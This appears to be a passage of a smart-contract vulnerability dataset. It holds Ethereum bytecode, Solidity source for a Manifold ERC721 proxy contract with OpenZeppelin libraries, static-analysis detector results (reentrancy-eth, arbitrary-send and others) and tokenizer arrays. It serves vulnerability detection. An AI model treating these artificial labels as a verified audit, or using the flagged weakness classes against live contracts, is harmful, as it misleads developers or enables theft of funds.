090810291909101015280612c3581613858565b915050612bd9565b509392505050565b6000612c52858585613099565b612c5c85856130b1565b83861b16179050949350505050565b6000610a97825490565b600082815260208190526040902060010154612c9181336124a5565b6112378383612f17565b606060006116e3836130ca565b6000818152600183016020526040812054612cef57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610a97565b506000610a97565b612d0182826116ea565b611050576000828152602081815260408083206001600160a01b03851684529091529020805460ff19166001179055612d373390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60606000612d8a83600261390d565b612d95906002613840565b67ffffffffffffffff811115612dad57612dad6132aa565b6040519080825280601f01601f191660200182016040528015612dd7576020820181803683370190505b509050600360fc1b81600081518110612df257612df261392c565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612e2157612e2161392c565b60200101906001600160f81b031916908160001a9053506000612e4584600261390d565b612e50906001613840565b90505b6001811115612ec8576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612e8457612e8461392c565b1a60f81b828281518110612e9a57612e9a61392c565b60200101906001600160f81b031916908160001a90535060049490941c93612ec181613a65565b9050612e53565b5083156116e35760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610c1a565b612f2182826116ea565b15611050576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60008181526001830160205260408120548015613065576000612fa0600183613a7c565b8554909150600090612fb490600190613a7c565b9050818114613019576000866000018281548110612fd457612fd461392c565b9060005260206000200154905080876000018481548110612ff757612ff761392c565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061302a5761302a613a93565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610a97565b6000915050610a97565b60008260000182815481106130865761308661392c565b9060005260206000200154905092915050565b60006130a583836130b1565b19841690509392505050565b6000826130c1600180851b613a7c565b901b9392505050565b60608160000180548060200260200160405190810160405280929190818152602001828054801561311a57602002820191906000526020600020905b815481526020019060010190808311613106575b50505050509050919050565b828054828255906000526020600020908101928215613161579160200282015b82811115613161578251825591602001919060010190613146565b5061316d9291506131ac565b5090565b828054828255906000526020600020908101928215613161579160200282015b82811115613161578235825591602001919060010190613191565b5b8082111561316d57600081556001016131ad565b6000602082840312156131d357600080fd5b81356001600160e01b0319811681146116e357600080fd5b6000602082840312156131fd57600080fd5b813567ffffffffffffffff811681146116e357600080fd5b60008060006040848603121561322a57600080fd5b83359250602084013567ffffffffffffffff8082111561324957600080fd5b818601915086601f83011261325d57600080fd5b81358181111561326c57600080fd5b87602082850101111561327e57600080fd5b6020830194508093505050509250925092565b6000602082840312156132a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156132e9576132e96132aa565b604052919050565b6000806040838503121561330457600080fd5b8235915060208084013567ffffffffffffffff8082111561332457600080fd5b818601915086601f83011261333857600080fd5b81358181111561334a5761334a6132aa565b8060051b915061335b8483016132c0565b818152918301840191848101908984111561337557600080fd5b938501935b838510156133935784358252938501939085019061337a565b8096505050505050509250929050565b6001600160a01b038116811461128957600080fd5b600080604083850312156133cb57600080fd5b82356133d6816133a3565b946020939093013593505050565b600080604083850312156133f757600080fd5b823591506020830135613409816133a3565b809150509250929050565b60006020828403121561342657600080fd5b81356116e3816133a3565b801515811461128957600080fd5b60006020828403121561345157600080fd5b81356116e381613431565b6000806040838503121561346f57600080fd5b50508035926020909101359150565b60006020828403121561349057600080fd5b813563ffffffff811681146116e357600080fd5b6000602082840312156134b657600080fd5b813561ffff811681146116e357600080fd5b600081518084526020808501945080840160005b838110156134f8578151875295820195908201906001016134dc565b509495945050505050565b82815260406020820152600061351c60408301846134c8565b949350505050565b6020815260006116e360208301846134c8565b6000806020838503121561354a57600080fd5b823567ffffffffffffffff8082111561356257600080fd5b818501915085601f83011261357657600080fd5b81358181111561358557600080fd5b8660208260051b850101111561359a57600080fd5b60209290920196919550909350505050565b83815260406020820152816040820152818360608301376000818301606090810191909152601f909201601f1916010192915050565b6000602082840312156135f457600080fd5b81516116e381613431565b6020808252602a908201527f4368617450757070794e46544d616e616765723a20746f6b656e20646f6573206040820152696e6f742065786973747360b01b606082015260800190565b60006020828403121561365b57600080fd5b81516116e3816133a3565b60208082526028908201527f4368617450757070794e46544d616e616765723a2063616c6c6572206973206e60408201526737ba1037bbb732b960c11b606082015260800190565b60005b838110156136c95781810151838201526020016136b1565b8381111561120f5750506000910152565b6000806000606084860312156136ef57600080fd5b8351925060208401519150604084015167ffffffffffffffff8082111561371557600080fd5b818601915086601f83011261372957600080fd5b81518181111561373b5761373b6132aa565b61374e601f8201601f19166020016132c0565b915080825287602082850101111561376557600080fd5b6137768160208401602086016136ae565b5080925050509250925092565b6020808252602d908201527f4368617450757070794e46544d616e616765723a20746f6b656e20697320616c60408201526c1c9958591e481d5b989bde1959609a1b606082015260800190565b6000602082840312156137e257600080fd5b5051919050565b60208082526021908201527f4368617450757070794e46544d616e616765723a20616d6f756e745f206973206040820152600360fc1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600082198211156138535761385361382a565b500190565b600060001982141561386c5761386c61382a565b5060010190565b60208082526030908201527f4368617450757070794e46544d616e616765723a206e6f7420616c6c6f77656460408201526f081d1bc8189d5e48185b99081b5a5b9d60821b606082015260800190565b6020808252602a908201527f4368617450757070794e46544d616e616765723a207061796d656e74206973206040820152690dcdee840cadcdeeaced60b31b606082015260800190565b60008160001904831182151516156139275761392761382a565b500290565b634e487b7160e01b600052603260045260246000fd5b6000604082016040835280855480835260608501915086600052602092508260002060005b8281101561398357815484529284019260019182019101613967565b5050508381038285015261399781866134c8565b9695505050505050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516139d98160178501602088016136ae565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613a0a8160288401602088016136ae565b01602801949350505050565b6020815260008251806020840152613a358160408501602087016136ae565b601f01601f19169190910160400192915050565b60008251613a5b8184602087016136ae565b9190910192915050565b600081613a7457613a7461382a565b506000190190565b600082821015613a8e57613a8e61382a565b500390565b634e487b7160e01b600052603160045260246000fdfe241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08ecb6b69d7b440d540b54c4b000d827e5835dc1f789e5a15d31a549fca4eb33a8a2646970667358221220fc638fea9dd59e8ab1308b8c0493307f4de3e1275821b203c7ecedda426d4c8864736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'msg-value-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2063, 2683, 2581, 2050, 2629, 2497, 17788, 2546, 23833, 14141, 2629, 2497, 24434, 2683, 2475, 2546, 2549, 2094, 2575, 2094, 2629, 27421, 26224, 17788, 24096, 2497, 21057, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1022, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 1030, 16475, 6327, 8278, 1997, 3229, 8663, 13181, 2140, 4161, 2000, 2490, 9413, 2278, 16048, 2629, 10788, 1012, 1008, 1013, 8278, 24264, 9468, 7971, 8663, 13181, 2140, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 2047, 4215, 10020, 13153, 2063, 1036, 2003, 2275, 2004, 1036, 1036, 2535, 1036, 1036, 1005, 1055, 4748, 10020, 2535, 1010, 6419, 1036, 3025, 4215, 10020, 13153, 2063, 1036, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,659
0x957f47e22740979404a3fdc308e4c9d82431ae36
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: JAMES JEAN /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ...',,,,,,,,,,,,'';c;'. .';c:'',,,,,,,,,,,,'... // // ,;,''''''''''''''.'dWMNKkoc'. .':okKNWWd'.'''''''''''''',;,. // // ;lc:,''''''''''''''.:KMMMMMMNKxl,. .,lxKNMMMMMMK:.'''''''''''''',:cl: // // lccll:;''''''''''''''lXMMMMMMMMMWKx:. .:d0WMMMMMMMMMXo'''''''''''''';:llccl // // occccclc:,''''''''''''lKWMMMMMMMMMMMXkc. .ckXMMMMMMMMMMMMKl'''''''''''',:clccccco // // lcccccccllc;,'''''''''';xXWMMMMMMMMMMMMXk:. .:kXMMMMMMMMMMMMWXx:'''''''''',;cllcccccccl // // :lccccccccclc:;,''''''''';okKNWMMMMMMWNX0x:'. .':dOKNWMMMMMMWNKko;''''''''',;:clccccccccclc // // 'lcccccccccccclc:;,''''''''',:looddool:;''.',,. .','.'',:looddool:,''''''''',;:clccccccccccccl' // // ;lccccccccccccccllc:;''''''''''.....''''''''',,. .,,''''''''''....'''''''''';:cclccccccccccccccl; // // .:lccccccccccccccccllc:;,'''''''''''''''''''''',,. .,,'''''''''''''''''''''',;:cllccccccccccccccccl:. // // .clcccccccccccccccccccllc::;,''''''''''''''''''','. .',''''''''''''''''''',;::cllccccccccccccccccccclc. // // .clccccccccccccccccccccccllcc::;,,''''''''''''''',. .,,'''''''''''''',,;::ccllcccccccccccccccccccccclc. // // .:lcccccccccccccccccccccccccclllcc::::;;;;;;;;:;;;' ';;;:;;;;;;;;::::cclllcccccccccccccccccccccccccclc. // // .:lccccccccccccccccccccccccccccccccclllllol:;'.. .' .. ..';:lolllllcccccccccccccccccccccccccccccccccl:. // // ;lcccccccccccccccccccccccccccccccccclc;'. .'c; ;c'. .';clccccccccccccccccccccccccccccccccccl; // // .clccccccccccccccccccccccccccccccl:'. .:dOKNWX: ;KWNKOd:. .':lcccccccccccccccccccccccccccccclc' // // .;lccccccccccccccccccccccccccclc' ,dXWMMMMMM0' .OMMMMMMWXx, 'clcccccccccccccccccccccccccccl;. // // .:lccccccccccccccccccccccclc,. .dNMMMMMMMMMWo. lWMMMMMMMMMNd. .,clcccccccccccccccccccccccl:. // // .:lccccccccccccccccccccl:. .kWMMMMMMMMMMWk::kWMMMMMMMMMMWO' .:lccccccccccccccccccccl:. // // .;clccccccccccccccclc, .xWMMMMMMMMWXkddddddkXWMMMMMMMMMk. ,clccccccccccccccclc;. // // .':clcccccccccccl;. :NMMMMMMMMW0occoxxocco0WMMMMMMMMNc .;llcccccccccclc:,. // // .';cllcccclc;. oMMMMMMMMMNdccclddlcccdXMMMMMMMMMd .;clccccllc;'. // // .,clll:' lWMMMMMMMMNxccclxxocccxNMMMMMMMMWo ':lllc,. // // ..',,',,,''. ,KMMMMMMMMMXxlclxxoclxXMMMMMMMMMK, ..',,,',,'.. // // .',,''''''''',,'. cXMMMMMMMMMWKOdccdOKWMMMMMMMMMXc .',,''''''''',,'. // // .,,''''''''''''''','. ;0WMMMMMMMMMMd..dMMMMMMMMMMW0; .',''''''''''''''',,. // // ',''''''''''''''''''',,. .c0WMMMMMMMX; ,KMMMMMMMW0l. .,,''''''''''''''''''',' // // ','''''''''''''''''''''',,'. .,oOXWMMWo oWMMWXOo;. ..,,'''''''''''''''''''''',, // // ';''''''''''''''''''''''''',,'.. .;cxd. .oxc;. .',,''''''''''''''''''''''''';' // // .;''''''''''''''''''''''''''''',,'.. .. .' ..',,''''''''''''''''''''''''''''';. // // .;''''''''''''''''''''''''''',,;;:ccc::;. .;::ccc:;;,,''''''''''''''''''''''''''';' // // ';.'''''''''''''''''''',,;::cccllllcccc. .ccccllllccc::;;,''''''''''''''''''''.;' // // ';''''''''''''''''',;::cllccccccccccl:. .:lccccccccccllc::;,''''''''''''''''.;' // // .;''''''''''''',;:cclccccccccccccccl;. .;lcccccccccccccclcc:;,''''''''''''';. // // .,,.'''''''',:cclcccccccccccccccccc, ,cccccccccccccccccclcc:,''''''''.,,. // // .;'''''',:cclcccccccccclooolcccl:. .:lccclooolccccccccccclc:,'''''';. // // ';''';:clcccccccccldOKXNNNXKOo, ,oOKXNNNXKOdlccccccccccc:;''';' // // ';;clcccccccccccd0WMMMMMMMNx' .xNMMMMMMMWKdccccccccccclc;;' // // 'llcccccccccccdXMMMMMMMWO; ;OWMMMMMMMXxcccccccccccll, // // .:lcccccccccoKMMMMMMW0c. .c0WMMMMMMKocccccccccl:. // // .:lccccccccdXMMMMMKl. .lKWMMMMNdccccccccl:. // // .clcccccccdXMMMKo. .lKWMMNdccccccccc. // // :lcccccccoKWKo. .lKWKocccccccl:. // // ;lcccccccldl. .cdlcccccccl: // // .:lcccccl:'. .':lccccclc. // // 'lccccc:. .;cccccl, // // .clclc;. .;clclc. // // ,lc:,. .,:cl, // // ;o;. .;o; // // // // // // // // _ _ _ _ _ _ // // /\ \ / /\ /\_\/\_\ _ /\ \ / /\ // // \ \ \ / / \ / / / / //\_\/ \ \ / / \ // // /\ \_\/ / /\ \ /\ \/ \ \/ / / /\ \ \ / / /\ \__ // // / /\/_/ / /\ \ \ / \____\__/ / / /\ \_\ / / /\ \___\ // // _ / / / / / / \ \ \ / /\/________/ /_/_ \/_/ \ \ \ \/___/ // // /\ \ / / / / / /___/ /\ \ / / /\/_// / / /____/\ \ \ \ // // \ \_\ / / / / / /_____/ /\ \ / / / / / / /\____\/ _ \ \ \ // // / / /_/ / / / /_________/\ \ \/ / / / / / / /______/_/\__/ / / // // / / /__\/ / / / /_ __\ \_\/_/ / / / / /_______\ \/___/ / // // \/_______/ \_\___\ /____/_/ \/_/\/__________/\_____\/ // // _ _ _ _ // // /\ \ /\ \ / /\ /\ \ _ // // \ \ \ / \ \ / / \ / \ \ /\_\ // // /\ \_\/ /\ \ \ / / /\ \ / /\ \ \_/ / / // // / /\/_/ / /\ \_\ / / /\ \ \ / / /\ \___/ / // // _ / / / / /_/_ \/_/ / / / \ \ \ / / / \/____/ // // /\ \ / / / / /____/\ / / /___/ /\ \ / / / / / / // // \ \_\ / / / / /\____\/ / / /_____/ /\ \ / / / / / / // // / / /_/ / / / / /______ / /_________/\ \ \ / / / / / / // // / / /__\/ / / / /_______/ / /_ __\ \_/ / / / / / // // \/_______/ \/__________\_\___\ /____/_\/_/ \/_/ // // // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract JJART is ERC721Creator { constructor() ERC721Creator("JAMES JEAN", "JJART") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220ab6b88682a0cecfadbd3893daab4a735ddf18ce0f89101e44f5ffb15f771c2d264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2546, 22610, 2063, 19317, 2581, 12740, 2683, 2581, 2683, 12740, 2549, 2050, 2509, 2546, 16409, 14142, 2620, 2063, 2549, 2278, 2683, 2094, 2620, 18827, 21486, 6679, 21619, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2508, 3744, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,660
0x957fbeae5fc9ccf985720800a5f58d26dffb70d9
